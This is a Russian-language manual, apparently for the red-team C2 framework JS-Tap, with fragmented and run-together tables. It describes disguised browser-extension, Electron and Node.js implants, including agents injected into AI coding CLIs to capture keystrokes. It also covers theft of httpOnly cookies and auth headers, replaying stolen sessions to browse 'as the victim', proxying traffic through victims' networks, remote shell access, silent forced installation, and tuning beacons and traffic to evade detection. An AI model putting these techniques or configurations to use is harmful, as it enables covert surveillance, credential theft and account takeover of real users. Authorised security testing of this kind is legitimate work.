"name": "Resource Optimizer",
"short_name": "ResOpt",
"version": "2.1.4",
"description": "Optimizes page resource loading for improved performance.",
"author": "WebPerf Tools",
"homepage_url": "https://www.example.com",
"install_dirname": "webperf-tools"
},
"extension_ids": {
"chrome_key": "",
"chrome_key_pem": "",
"chrome_extension_id": "",
"firefox_extension_id": "bex-beacon@jstap"
},
"js_tap_server": {
"domain": "127.0.0.1",
"port": 8444
},
"heartbeat": {
"base_interval": 5,
"jitter_percent": 30
},
"domain_scoping": {
"whitelist_enabled": false,
"whitelist": [
"https://*.example.com/*",
"http://localhost:8000/*"
]
},
"sidecar": {
"enabled": false,
"host_name": "com.jstap.sidecar",
"binary_name": "sidecar"
}
}
Управляет метаданными манифеста расширения и именованием при развёртывании. Измените эти поля, чтобы замаскировать внешний вид расширения в chrome://extensions или about:addons.
Управляет статическими идентификаторами расширений для детерминированных сборок. Инструкции по настройке см. в разделе Статические идентификаторы расширений.
| Поле | Описание |
|---|---|
domain | Имя хоста или IP-адрес вашего сервера JS-Tap. |
port | Порт, на котором прослушивается сервер JS-Tap. |
Управляет частотой, с которой маяк связывается с сервером для отправки телеметрии и получения новых задач (например, команд на внедрение или команд внешнего обработчика).
| Поле |
|---|
Дрожание важно для OPSEC — оно предотвращает создание маяком идеально регулярного сетевого шаблона, который может быть обнаружен средствами мониторинга сети. Каждая отправка планирует следующую со свежей случайностью.
Управляет доменами, за которыми маяк наблюдает и с которыми взаимодействует.
| Поле | Описание |
|---|---|
Когда белый список включён, маяк применяет его на нескольких уровнях:
Это критически важно для заданий red team со строгими требованиями к области видимости. Установка whitelist_enabled: true гарантирует, что маяк не будет взаимодействовать с доменами, выходящими за рамки.
Примеры шаблонов белого списка:```json "whitelist": [ "https://.targetcorp.com/", "https://app.targetcorp.com/", "http://internal.targetcorp.local:8080/" ]
#### sidecar
Управляет опциональной функцией нативного обмена сообщениями в BEX Beacon. Полное описание см. в разделе [Sidecar](#sidecar-native-messaging) выше.
| Поле | Описание |
|---|---|
| `enabled` | `false` = без нативного обмена сообщениями (по умолчанию). `true` = включить поддержку sidecar. Добавляет разрешение `nativeMessaging` в манифест расширения. |
| `host_name` | Имя хоста нативного обмена сообщениями. По умолчанию: `com.jstap.sidecar` |
| `binary_name` | Имя скомпилированного бинарного файла sidecar. По умолчанию: `sidecar`. Измените это, чтобы замаскировать бинарник на целевых системах (например, `chrome-helper`). |
Единый скрипт сборки автоматически синхронизирует идентификаторы расширений из `extension_ids` с конфигурацией sidecar, поэтому вам нужно настраивать ID только в одном месте.
### Конфигурация полезной нагрузки JS-Tap (telemlib.js)
Эти переменные конфигурации находятся в функции **initGlobals()**.
#### Расположение сервера JS-Tap
Вам нужно настроить полезную нагрузку с URL сервера JS-Tap, к которому она будет подключаться.```
window.taperexfilServer = "https://127.0.0.1:8444";
Устанавливается в trap или implant Это задается с помощью переменной:``` window.taperMode = "trap"; or window.taperMode = "implant";
#### Страница запуска режима западни
Необходимо только для режима западни. См. объяснение в разделе **Режимы работы** выше.<br>
Задает страницу, с которой начинается пользователь, когда установлена iFrame-западня.```
window.taperstartingPage = "http://targetapp.com/somestartpage";
Если вы хотите, чтобы ловушка запускалась на текущей странице, вместо перенаправления пользователя на другую страницу в iframe-ловушке, вы можете использовать:``` window.taperstartingPage = window.location.href;
#### Тег клиента
Полезно, если вы используете JS-Tap для нескольких приложений или развертываний одновременно и хотите визуальный индикатор того, какая нагрузка была загружена. Помните, что вся директория /payloads обслуживается — вы можете иметь несколько конфигураций нагрузок JS-Tap с разными режимами, стартовыми страницами и тегами клиентов.
Эта строка тега (делайте её короткой!) добавляется в начало псевдонима клиента на портале JS-Tap. Настройте несколько нагрузок, каждая с соответствующей конфигурацией для приложения, в котором она используется, и добавьте тег, указывающий, в каком приложении работает клиент.```
window.taperTag = 'whatever';
Используется для настройки, проверяют ли клиенты задачи Custom Payload и как часто они проверяют. Настройки jitter Позволяют при необходимости задать модификатор нижнего и верхнего предела. Случайное значение между этими двумя числами будет выбрано и добавлено к задержке проверки. Установите их в 0 и 0 для отключения jitter.``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000;
#### Клиентская дактилоскопия
Это можно включить для вычисления отпечатка клиента на основе множества атрибутов. Из этого отпечатка создается очень короткий хеш. Этот короткий хеш может быть отображен на карточке клиента, если включить эту опцию в **App Settings**. Список фильтров клиентов можно отфильтровать по этому отпечатку, чтобы идентифицировать несколько клиентов JS-Tap, которые, вероятно, работают на одном и том же компьютере. Обратите внимание, что если предприятие выдает идентичные системы пользователям, они могут легко получить одинаковое значение отпечатка.
Чтобы включить вычисление отпечатка в полезной нагрузке JS-Tap:```
window.taperFingerprint = true;
Даже если отпечаток вычисляется, он не будет отображаться в карточках клиента, пока соответствующая функция не будет включена также в Настройках приложения.
Обратите внимание, что вы можете отфильтровать список клиентов по хешам отпечатков, чтобы показать клиенты, которые, скорее всего, являются одним и тем же компьютером.
Настройка true/false, указывающая, копируется ли HTML-код каждой просматриваемой страницы. Эти скопированные HTML-файлы необходимы для поиска источников CSRF-токенов при автоматической генерации пользовательских полезных нагрузок для отправки форм.``` window.taperexfilHTML = true;
#### Копировать отправки форм
Настройка true/false, определяющая, нужно ли перехватывать копию всех отправленных форм.```
window.taperexfilFormSubmissions = true;
Включение monkeypatching для API XHR и Fetch. Это работает в trap mode. В implant mode monkeypatching применяется только к API Fetch. Monkeypatching позволяет переписывать JavaScript во время выполнения. Включение этой функции переписывает сетевые API XHR и Fetch, используемые кодом JavaScript, для перехвата содержимого этих сетевых вызовов. Обратите внимание, что сетевые вызовы на основе jQuery и Ajax будут захвачены в API XHR, который они используют под капотом для сетевых вызовов. Автоматическая генерация пользовательских полезных нагрузок для вызовов API зависит, конечно, от перехвата вызовов API с помощью этой функции monkeypatching.``` window.monkeyPatchAPIs = true;
## JS-Tap Portal
Войдите, используя учетные данные администратора, предоставленные серверным скриптом при запуске (также сохраняются в `adminCreds.txt`).
### Управление клиентами
Клиенты отображаются слева, сгруппированные по типу. Используйте кнопки переключения в верхней части списка клиентов для переключения между представлениями.
* **Apps** — клиенты DOM Beacon (из полезных нагрузок telemlib.js)
* **Browsers** — клиенты BEX Beacon
* **Electrons** — клиенты Atom Beacon (из модифицированных приложений Electron)
* **Nodes** — клиенты V8 Beacon (из приложений Node.js/Bun CLI)
Выбор клиента покажет временной ряд его событий (трофеев) справа. Если вы отфильтруете список (например, переключитесь с Apps на Browsers), текущее представление трофеев станет тусклым и серым, что указывает на то, что это «фоновые» данные.
В представлении **Browsers** в заголовке столбца деталей отображается переключатель **Loot / Tools**:
* Вкладка **Loot** — карточки доменов с посещенными доменами и элементами управления инъекциями.
* Вкладка **Tools** — панель Browser Proxy (всегда видна) и панель Sidecar (сворачиваемая, если поддерживается маяком).
Клиенты Atom Beacon (в представлении **Electrons**) и клиенты V8 Beacon (в представлении **Nodes**) также имеют переключатель **Loot / Tools**. Их панель Tools предоставляет встроенный просмотр файлов и доступ к оболочке без необходимости в отдельном бинарном файле sidecar. Atom Beacons дополнительно имеют элементы управления снимками экрана.
**BEX Beacons (Browsers)** можно развернуть, чтобы увидеть все посещенные ими домены. Вы можете инициировать инъекцию DOM Beacon из списка доменов. Карточки BEX Beacon на боковой панели будут отображать сводку по любым успешно созданным DOM Beacons.
Список клиентов можно сортировать по времени (первое появление, последнее полученное обновление), а список можно отфильтровать, чтобы показывать только «отмеченные звездочкой» клиенты. Также есть быстрый поиск по фильтру над списком клиентов, позволяющий быстро отфильтровать клиентов, содержащих введенную строку. Полезно, если вы установили необязательный тег в конфигурации полезной нагрузки. Необязательные теги отображаются перед псевдонимом клиента. Фильтрация выполняется по необязательному тегу, псевдониму, IP-адресу, отпечатку, браузеру, платформе, типу клиента, домену и UUID. Обратите внимание, что вы можете инвертировать поиск по фильтру, добавив перед поисковым запросом '!'. Например, чтобы показать всех клиентов, не использующих Firefox, используйте термин фильтра "!firefox". Вы можете комбинировать несколько терминов с помощью `&&` для логики И (например, `linux && chrome && !bex`).
У каждого клиента есть кнопка 'x' (рядом с кнопкой звездочки). Это позволяет удалить сеанс для этого клиента; если он отправляет мусорные или бесполезные данные, вы можете предотвратить отправку клиентом будущих данных.
Когда полезная нагрузка JS-Tap запускается, она получает сеанс от сервера JS-Tap. Если вы хотите остановить выдачу новых сеансов клиентов, выберите **App Settings** вверху и отключите новые сеансы клиентов. Вы также можете включить отображение «отпечатков» клиентов, которые представляют собой очень короткие хеш-значения, которые должны быть уникальными для браузера пользователя на конкретной системе. Это может помочь определить, какие клиенты JS-Tap на самом деле могут быть одним и тем же лицом. Обратите внимание, что клиент JS-Tap должен быть настроен на выполнение вычислений отпечатков. Строка поиска фильтра клиентов также ищет поле отпечатка, поэтому легко показать клиентов с идентичными отпечатками.
Вы также можете настроить уведомления по электронной почте в **App Settings** для уведомления о новых клиентах или новых событиях для клиентов. Это основано только на SMTP (TLS), и вы можете отправлять уведомления по электронной почте нескольким получателям. Опция «задержка электронной почты» предотвращает постоянный спам; вы получите сводное письмо со всеми уведомлениями, произошедшими за период задержки.
Вы можете изменить частоту автоматического обновления списка клиентов в **App Settings**, а также заблокировать определенные IP-адреса от получения сеанса JS-Tap.
Если вы хотите лучше скрыть сетевой трафик JS-Tap от проверки, в **App Settings** включите обфускацию трафика. Это будет работать в приложениях, использующих HTTPS, где доступен API webcrypto. Клиент JS-Tap будет шифровать весь трафик на уровне приложения и отправлять его на единственную конечную точку API на сервере C2, который расшифрует его и направит на стороне сервера. Ответы от JS-Tap C2 (например, пользовательские полезные нагрузки) также поступают с этой единственной конечной точки API и также шифруются. Обратите внимание, что если взломанный браузер не поддерживает API веб-криптографии, JS-Tap вернется к традиционному необфусцированному трафику.
У каждого клиента есть функция «заметки». Если вы найдете важную информацию для этого конкретного клиента (учетные данные, токены API и т. д.), вы можете добавить ее в заметки клиента. После того, как вы просмотрели всех своих клиентов и сделали заметки, функция **View All Notes** вверху позволяет экспортировать все заметки от всех клиентов сразу.
Список событий можно фильтровать по типу события, если вы пытаетесь сосредоточиться на чем-то конкретном, например, на снимках экрана. Для клиентов DOM Beacon список событий/трофеев _не_ обновляется автоматически (список клиентов обновляется) — если вы хотите загрузить последние события, вам нужно снова выбрать клиента слева. Клиенты Atom Beacon и BEX Beacon используют автоматически обновляющееся представление событий, которое постепенно добавляет новые события без сброса вашей позиции прокрутки.
### BEX Injection
При просмотре интеллектуального анализа домена маяка вы можете нажать **Inject DOM Beacon**, чтобы поставить инъекцию в очередь.
* Значок «SUCCESS» появится после запроса скрипта инъекции.
* Псевдоним созданного DOM Beacon будет автоматически связан и отображен на карточке домена и боковой карточке маяка.
* Инъекции происходят немедленно, если пользователь в данный момент находится на целевом домене, или при следующем посещении.
### JS-Tap Tickets и JS-Tap Conductor (Клонирование сеансов)
BEX Beacon захватывает куки (включая httpOnly), localStorage, sessionStorage и заголовки авторизации для каждого домена, который посещает цель. **JS-Tap Tickets** позволяют экспортировать все эти данные сеанса в виде переносимого блоба, а **JS-Tap Conductor** воспроизводит их в вашем собственном браузере, так что вы можете просматривать страницы как жертва.
#### Создание билета JS-Tap
1. В портале JS-Tap выберите клиента BEX Beacon и разверните его список доменов.
2. Нажмите кнопку **Session Ticket** на карточке домена, который вы хотите клонировать.
3. Билет копируется в буфер обмена в виде строки в кодировке base64.
Билет содержит:
- Все куки для домена (с метаданными httpOnly, secure, sameSite, path, domain и expiration)
- Захваченные заголовки запросов (Authorization, x-api-key и т. д.)
- Пары ключ/значение localStorage и sessionStorage
- Сырая строка User-Agent жертвы, платформа и браузер
- Посещенные URL-адреса для домена (самые последние первыми)
**Важно:** Убедитесь, что вы создали билет из правильной записи домена. Например, `reddit.com` и `www.reddit.com` — это отдельные записи доменов в данных маяка — выберите ту, которая содержит куки аутентификации.
#### Установка JS-Tap Conductor
JS-Tap Conductor — это отдельное расширение Firefox MV2. **Это должен быть Firefox** — он полагается на API `webRequestBlocking` Firefox MV2 для внедрения заголовков в исходящие запросы, что Chrome MV3 не поддерживает.
Чтобы загрузить его как временное расширение:
1. Откройте Firefox и перейдите на `about:debugging#/runtime/this-firefox`
2. Нажмите **«Load Temporary Add-on...»**
3. Перейдите в каталог `jstap-conductor/` и выберите `manifest.json`
Значок JS-Tap Conductor (логотип JS-Tap) появится на панели инструментов Firefox. Временные расширения сохраняются до закрытия Firefox — после перезапуска их нужно перезагружать.
#### Использование JS-Tap Conductor
1. Нажмите значок JS-Tap Conductor на панели инструментов, чтобы открыть всплывающее окно.
2. Вставьте билет JS-Tap в текстовую область и нажмите **Import**.
3. JS-Tap Conductor выполнит:
- **Установит все куки** для домена, включая httpOnly (расширения имеют эту привилегию).
- **Зарегистрирует внедрение заголовков** — заголовки Authorization и другие захваченные заголовки будут внедряться в каждый соответствующий запрос через `webRequest.onBeforeSendHeaders`.
- **Подменит User-Agent** — строка User-Agent жертвы заменит вашу во всех исходящих заголовках запросов для этого домена.
- **Заполнит хранилище** — записи localStorage и sessionStorage будут записаны, когда вы перейдете на домен.
- **Подменит navigator API** — даже если вы используете Firefox, `navigator.userAgent`, `navigator.platform` и `navigator.appVersion` будут изменены в контексте JavaScript страницы, чтобы возвращать значения жертвы. Это обходит проверки User-Agent на стороне клиента.
4. Нажмите **Open** на импортированном билете, чтобы перейти на первый захваченный URL, или вручную перейдите на домен.
5. Теперь вы должны просматривать страницы как сеанс жертвы.
Всплывающее окно показывает **историю билетов** (последние 10 билетов) с количеством значков для элементов куки, заголовков, localStorage и sessionStorage. Как сеансовые билеты, так и прокси-билеты отображаются в истории. Каждый билет можно активировать/деактивировать или удалить. Прокси-билеты визуально отличаются значком «proxy», показывающим целевой порт и домены.
Используйте **Deactivate**, чтобы отключить внедрение сеанса билета, не теряя его, или **Delete**, чтобы удалить его навсегда.
#### Проверка работы
- **Куки:** Откройте Firefox DevTools → Storage → Cookies. Вы должны увидеть все импортированные куки, включая httpOnly.
- **Заголовки:** Откройте DevTools → Network tab. Проверьте, что заголовки Authorization и User-Agent в исходящих запросах соответствуют значениям жертвы.
- **Хранилище:** Откройте DevTools → Storage → Local Storage / Session Storage. Убедитесь, что импортированные ключи присутствуют.
- **Подмена Navigator:** Откройте консоль браузера и введите `navigator.userAgent` — он должен вернуть строку UA жертвы, а не Firefox.
### Browser Proxy
Browser Proxy позволяет направлять трафик вашего браузера через браузер жертвы (или процесс Node.js/Electron) в реальном времени. Запросы выполняются из сетевого контекста жертвы, поэтому целевой сайт видит IP-адрес и TLS-отпечаток жертвы.
Прокси поддерживается **BEX Beacons**, **Atom Beacons** и **V8 Beacons**.
#### Как это работает
1. Выберите маяк в портале и переключитесь на вкладку **Tools**.
2. Нажмите **Start Proxy** на панели Browser Proxy. Сервер выделяет локальный порт (отображается на панели).
3. Настройте свой браузер на использование `127.0.0.1:<port>` в качестве HTTP/HTTPS прокси.
4. Загрузите **CA Cert** и установите его в хранилище сертификатов вашего браузера (требуется для HTTPS MITM).
5. Просматривайте страницы обычным образом — все запросы пересылаются через WebSocket-соединение маяка и выполняются из сети жертвы.
Прокси выполняет завершение TLS, используя динамически генерируемые сертификаты для каждого домена, подписанные CA JS-Tap. Это позволяет прозрачно проверять и ретранслировать HTTPS-трафик.
#### Компонуемые рабочие процессы
Прокси является «глупой трубой» — он пересылает именно то, что отправляет браузер оператора, без внедрения или изменения учетных данных. Это делает его компонуемым с Session Tickets для четырех различных рабочих процессов:
| Рабочий процесс | Настройка | Результат |
|---|---|---|
| **Только прокси** | Запустить прокси, без сеансового билета | Неаутентифицированный просмотр через сеть/IP жертвы |
| **Только сеансовый билет** | Импортировать сеансовый билет в Conductor, без прокси | Аутентифицированный просмотр напрямую с IP оператора |
| **Прокси + сеансовый билет** | Активны и прокси, и сеансовый билет | Аутентифицированный просмотр через сеть жертвы — Conductor внедряет куки/заголовки/UA в браузер оператора, MITM-прокси пересылает их маяку |
| **Прокси + собственный вход** | Запустить прокси, войти вручную через прокси | Собственный сеанс оператора через сеть жертвы |
Для рабочего процесса **Прокси + сеансовый билет** JS-Tap Conductor обрабатывает все внедрение сеанса (куки, заголовки, User-Agent, хранилище, подмену navigator). MITM-прокси пересылает полный запрос оператора, включая внедренные заголовки, маяку, который выполняет выборку из сети жертвы.
#### Прокси-билеты
Пока прокси активен, вы можете нажать **Proxy Ticket**, чтобы создать билет, совместимый с JS-Tap Conductor, который автоматически настраивает параметры прокси Conductor. Импортируйте прокси-билет в Conductor, чтобы направлять трафик Firefox через маяк без ручной настройки параметров прокси.
### Использование панели Sidecar / Tools
Когда у клиента BEX Beacon подключен Sidecar, вкладка **Tools** будет показывать панель **Sidecar** (свернута по умолчанию, под панелью Browser Proxy). Клиенты Atom Beacon и V8 Beacon показывают ту же панель как **Tools** со значком **Built-in** (поскольку доступ к ОС является нативным для агента). Панель имеет вкладки:
#### Вкладка File Browser
- Файловый браузер автоматически выводит домашний каталог пользователя при первой загрузке панели
- Навигация осуществляется щелчком по именам папок или по записи `..` для перехода на уровень выше
- Поле пути всегда отражает ваше текущее местоположение и может быть отредактировано вручную
- Нажмите **Read** на файле, чтобы просмотреть его содержимое (декодированное из base64 и отображаемое как текст)
- Нажмите **Back to directory listing**, чтобы вернуться из просмотра файла
- **Upload:** Выберите файл и нажмите **Upload**, чтобы записать его в текущий просматриваемый каталог. Список автоматически обновляется после успешной загрузки. Максимальный размер файла — 700 КБ.
#### Вкладка Shell
- Интерактивный терминал с отслеживанием рабочего каталога (CWD) между командами
- Приглашение отображает ваш текущий каталог в целевой системе (например, `/home/user $ `)
- Введите команду и нажмите **Enter** или **Run** для выполнения
- CWD сохраняется между командами (`cd /tmp` с последующим `ls` выведет список `/tmp`)
- **История команд:** Используйте стрелки **Вверх/Вниз** для перебора предыдущих команд
- **Pop Out:** Нажмите кнопку **Pop Out**, чтобы открыть оболочку в отдельном окне с собственным заголовком, полной историей команд и независимой работой
- Вывод окрашен: зеленый для приглашений, белый для stdout, красный для stderr
- Отслеживание CWD использует синтаксис POSIX-оболочки и работает на целях Linux/macOS
#### Вкладка Screenshots (только Atom Beacon)
- **Capture Now** — Ручной запуск снимка экрана всех отслеживаемых окон
- **Auto-capture toggles** — Включение/отключение автоматических снимков экрана при фокусировке окна, навигации и событиях нового окна
- **Cooldown** — Минимальное количество секунд между автоснимками для каждого окна (по умолчанию: 30, минимум: 5)
- Нажмите **Save Settings**, чтобы отправить изменения переключателей/перерыва агенту в реальном времени
**Примечание:** Команды асинхронны. Когда вы отправляете команду, интерфейс опрашивает результаты. Маяк/агент должен выполнить проверку (heartbeat), чтобы подобрать команду и отправить результат обратно. При настройках heartbeat по умолчанию ожидайте задержку в несколько секунд.
### Custom Payloads
В портале JS-Tap можно добавить несколько полезных нагрузок JavaScript и выполнить их на одном клиенте, на всех текущих клиентах или настроить автозапуск на всех будущих клиентах. Полезные нагрузки можно писать/редактировать в портале JS-Tap или импортировать из файла. Полезные нагрузки также можно экспортировать. Формат для импорта полезных нагрузок — простой JSON. Код JavaScript и описание просто кодируются в base64.```
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
Если вашей пользовательской нагрузке нужно извлечь данные, вы можете использовать метод customExfil(note, data). Вызов этого метода в вашей пользовательской нагрузке отправит эти текстовые данные обратно в JS-Tap, и они будут отображены как событие в данных трофеев.
Основной интерфейс для пользовательских нагрузок находится в верхней строке меню. Выберите Пользовательские нагрузки, чтобы открыть интерфейс. Все существующие нагрузки будут показаны в списке слева. Панель кнопок позволяет импортировать и экспортировать список. Нагрузки можно редактировать в правой части, хотя вы можете нажать кнопку Развернуть код, чтобы получить более крупную панель редактирования кода. Чтобы загрузить существующую нагрузку для редактирования, выберите ее, щелкнув по ней в списке Сохраненные нагрузки. После того как вы определили и сохранили нагрузки, вы можете выполнять их на клиентах.
В основном представлении Пользовательские нагрузки вы можете запустить нагрузку на всех текущих клиентах (кнопка Выполнить). Вы также можете включить атрибут Автозапуск нагрузки, что означает, что все новые клиенты будут выполнять эту нагрузку. Обратите внимание, что существующие клиенты не будут выполнять нагрузку на основе настройки Автозапуска.
Вы можете включить Повтор, и нагрузка будет назначаться каждому клиенту, когда он проверяет задачи. Помните, что частота проверки клиентом задач пользовательской нагрузки переменная, и эту частоту можно изменить в основной конфигурации нагрузки JS-Tap. Эту частоту можно изменить с помощью пользовательской нагрузки (вызов функции updateTaskCheckInterval(newDelay)). Джиттер задержки проверки задач можно установить с помощью функции updateTaskCheckJitter(newTop, newBottom).
Кнопка Очистить все задачи в интерфейсе пользовательских нагрузок удалит все задачи пользовательских нагрузок из очереди для всех клиентов и сбросит переключатели автоматического/повторного запуска.
Чтобы запустить нагрузку на одном клиенте, используйте кнопку Запустить нагрузку на конкретном клиенте, на котором вы хотите ее запустить, а затем нажмите кнопку Выполнить для конкретной нагрузки, которую хотите использовать. Вы также можете установить Повтор для отдельных клиентов.
Правила нацеливания позволяют автоматически запускать нагрузки на клиентах, соответствующих определенным критериям, вместо ручного выбора отдельных клиентов или слепого запуска на всех клиентах.
Нажмите кнопку Добавить правило для нагрузки, чтобы создать правило нацеливания. Правила используют тот же синтаксис фильтра, что и строка поиска клиентов:
&& для объединения терминов (например, linux && chrome)! к термину, чтобы исключить его (например, !bex-beacon)Пример: linux && chrome && !bex будет соответствовать всем клиентам Linux Chrome, которые не являются BEX Beacons.
Перед сохранением правила вы можете нажать Предварительный просмотр, чтобы увидеть, какие из подключенных в данный момент клиентов будут соответствовать. Предварительный просмотр показывает мини-карточки клиентов с той же информацией, что и основной список клиентов (tag/nickname, метки времени, IP, platform, browser, domain).
Каждое правило нацеливания имеет свои собственные элементы управления Автозапуск, Повтор и Выполнить, которые работают так же, как кнопки на уровне нагрузки, но влияют только на клиентов, соответствующих фильтру правила. Вы также можете Редактировать или Удалять отдельные правила. Нагрузка может иметь несколько правил нацеливания.
JS-Tap включает возможность автоматической генерации пользовательских нагрузок. Эта функция использует возможность перехвата отправки форм и вызовов XHR/Fetch API. JS-Tap может использовать эти перехваченные коммуникации в качестве прототипа для создания нагрузки.
Параметры в запросе будут заданы переменными в верхней части автоматически генерируемой нагрузки, что облегчает изменение выполняемого действия. Отправки форм, которым требуется CSRF-токен, и вызовы XHR/Fetch API, требующие заголовка Authorization, будут обработаны мастером mimic; вы можете выбрать эти значения в перехваченной отправке формы/вызове API, и JS-Tap выполнит поиск в своей базе данных, чтобы определить, откуда берутся эти значения.
Будет сгенерирована нагрузка, которая сначала получает текущее значение этих элементов в браузере пользователя, поскольку с течением времени и у разных пользователей эти значения, скорее всего, будут различаться. Полученные значения будут использованы в последующем запросе, который передает ваши измененные параметры серверу для выполнения "подражаемого" действия.
Если вы пропустите поиск этих значений, в запросе их нет или JS-Tap не может найти источник, будет сгенерирована нагрузка, использующая значения CSRF-токенов и заголовка Authorization из исходного перехваченного запроса.
Чтобы использовать функцию mimic для создания автоматически генерируемых нагрузок, найдите перехваченную отправку формы или вызов API и нажмите кнопку Создать нагрузку Mimic на карточке события в колонке трофеев. Откроется мастер, в котором вы выбираете либо CSRF-токен (для отправок форм), либо заголовок Authorization (для вызовов API). Вам нужно скопировать имя параметра/заголовка в поле имени, а значение токена — в поле значения. После этого нажмите кнопку Поиск, чтобы JS-Tap определил, где эти значения хранятся или откуда они берутся.
Если JS-Tap находит источник этих значений, нажатие 'Далее' сгенерирует нагрузку и внесет ее в систему C2 как новую нагрузку. Измените имя нагрузки, описание и значения параметров в верхней части сгенерированного кода на нужные вам настройки и сохраните. Затем вы можете запустить эту нагрузку на клиентах JS-Tap.
JS-Tap/ ├── buildAll.py # Unified build script (extensions + sidecar + deploy bundles) ├── jsTapServer.py # Flask C2 server (all routes, models, logic) ├── jstapRun.sh # Gunicorn production launcher ├── requirements.txt # Python dependencies ├── index.html # Dashboard HTML ├── login.html # Login page ├── payloads/ │ └── telemlib.js # DOM Beacon payload ├── protectedStatic/
| Тип маяка | Что это такое | Как попадает |
|---|
| DOM Beacon (telemlib.js) | JavaScript-нагрузка, внедряемая на веб-страницу. Инструментирует DOM, захватывает активность пользователя, скриншоты, сетевые вызовы. | Уязвимость XSS или прямое добавление в JavaScript-файлы целевого приложения (после эксплуатации). |
| BEX Beacon | Расширение браузера (Chrome MV3 / Firefox MV2). Отслеживает всю активность просмотра, захватывает куки (включая httpOnly), localStorage, sessionStorage и заголовки запросов. Может внедрять DOM Beacons в определенные домены по команде. | Установлен в браузере цели (социальная инженерия, физический доступ, корпоративная политика и т.д.). |
| Sidecar | Нативный Go-бинарник, запускаемый на ОС цели. Предоставляет просмотр файловой системы, чтение файлов и выполнение команд. | Установлен рядом с BEX Beacon через нативные сообщения. Требует BEX Beacon для ретрансляции команд. |
| Atom Beacon | Двухуровневый имплантат для десктопных приложений Electron. Внедряет агента главного процесса (среда выполнения Node.js) + нагрузки рендерера во все окна приложения. Сочетает сбор данных на уровне браузера с доступом к ОС на уровне хоста — отдельный бинарник не требуется. Поддерживает режим прокси браузера. | Внедрен в ASAR-архив целевого приложения Electron (или распакованный каталог приложения) с помощью atomize.py. |
| V8 Beacon | JavaScript-агент для приложений командной строки на Node.js и Bun (Gemini CLI, Claude Code и т.д.). Перехватывает все сетевые вызовы HTTP/Fetch, захватывает нажатия клавиш, предоставляет доступ к файловой системе и оболочке. Поддерживает режим прокси браузера. Не требует зависимостей. | Внедряется через переменную окружения: NODE_OPTIONS="--require" (Node.js) или BUN_OPTIONS="--preload" (Bun). Не требует модификации приложения. |
| JS-Tap Conductor | Автономное расширение Firefox, которое импортирует данные сессии, захваченные BEX Beacon (как «JS-Tap Ticket»), и воспроизводит их локально — устанавливает куки, внедряет заголовки, заполняет хранилище и подменяет User-Agent — так что оператор может просматривать сайты как жертва. См. JS-Tap Tickets & JS-Tap Conductor ниже. |
NODE_OPTIONSBUN_OPTIONShttp.requesthttps.requestfetchhttp2.connectprocess.stdinПлагины для атак на конкретные приложения: Клиенты Atom Beacon и V8 Beacon поддерживают загружаемые во время выполнения плагины. Плагины — это модули JavaScript, загружаемые с портала JS-Tap, которые расширяют возможности маяка для конкретных целевых приложений (например, плагин для Mattermost). Плагины имеют доступ к Node.js API маяка (fs, http, crypto, child_process), API Electron (для Atom Beacons) и каналу эксфильтрации данных обратно на сервер. Каждый плагин включает манифест (manifest.json), объявляющий целевые приложения, возможности и настройки, задаваемые оператором, а также опциональную панель UI (ui.html), отображаемую на портале.
| Браузер | Метод установки | Требования |
|---|
| Chrome/Chromium (Linux, с .crx + статическим ID) | Записывает корпоративную политику, которая принудительно устанавливает расширение из локального CRX. Взаимодействие с пользователем не требуется — расширение бесшумно устанавливается при следующем запуске. | sudo |
| Chrome/Chromium (macOS, с .crx + статическим ID) | Копирует .crx в системный каталог и записывает JSON внешнего расширения. Пользователь должен нажать «Keep» (Сохранить), когда Chrome предупреждает о расширении. | sudo |
| Chrome/Chromium (без .crx) | Копирует распакованное расширение в стабильный каталог. Выводит инструкции для режима разработчика chrome://extensions. | Нет |
| Chrome (Windows, с .crx + статическим ID) | Копирует .crx и записывает запись в реестр для установки внешнего расширения. | Нет (реестр на уровне пользователя) |
| Firefox (с .xpi + ID расширения) | Автоматически определяет профиль Firefox по умолчанию и копирует .xpi в каталог extensions/ профиля. Firefox запрашивает разрешение пользователя на включение при следующем запуске. | Нет |
| Firefox (без .xpi) | Копирует распакованное расширение в стабильный каталог. Выводит инструкции для about:debugging. | Нет |
| Command | Args | Description |
|---|
list_dir | { path: "/some/path" } | List directory contents. Defaults to user's home directory if path is empty. Returns file names, sizes, types, and modification times. |
read_file | { path: "/some/file", offset: 0, limit: 1048576 } | Read file contents (base64 encoded). Max 1MB per read. Supports offset/limit for large files. |
exec_cmd | { command: "whoami", timeout: 30 } | Execute a shell command. Uses /bin/sh -c on Linux/macOS, cmd.exe /C on Windows. Max timeout is 120 seconds. Returns stdout, stderr, and exit code. |
--output PATH | Путь к выходному файлу (по умолчанию: ./v8-beacon.js) |
/v1/messages| Поле | Описание |
|---|
name | Отображаемое имя расширения |
version | Версия расширения (также используется в .crx внешнем JSON-файле расширения). Автоматически увеличивается buildAll.py при каждой сборке. |
description | Описание расширения, показываемое в браузере |
install_dirname | Имя каталога, используемое скриптами установки для хранения файлов на целевой системе (например, /opt/<dirname>/ в Linux, %LOCALAPPDATA%\<dirname> в Windows). Также используется для имени файла корпоративной политики. Выберите что-то безобидное. По умолчанию: jstap |
| Поле | Описание |
|---|
chrome_key | Открытый ключ DER, закодированный в Base64. Внедряется как key в манифест Chrome для детерминированного идентификатора расширения. |
chrome_key_pem | Путь к файлу закрытого ключа .pem (относительно корня проекта). Используется скриптом сборки для упаковки файлов .crx. |
chrome_extension_id | 32-символьный идентификатор расширения Chrome. Вычисляется автоматически из chrome_key, если оставить пустым. Используется в манифестах собственного обмена сообщениями. |
firefox_extension_id | Идентификатор расширения Firefox (например, bex-beacon@jstap). Внедряется в манифест Firefox как browser_specific_settings.gecko.id. |
| Описание |
|---|
base_interval | Базовый интервал в секундах между отправками. По умолчанию: 60 для рабочей среды, 5 для разработки/тестирования. |
jitter_percent | Процент дрожания, применяемый к базовому интервалу. Значение 30 означает, что каждая отправка будет происходить в случайное время от 70% до 130% базового интервала. Установите 0 для отключения дрожания (полезно для отладки). |
whitelist_enabledfalse = наблюдать за всеми доменами (режим всех доменов). true = наблюдать только за доменами, соответствующими шаблонам белого списка. |
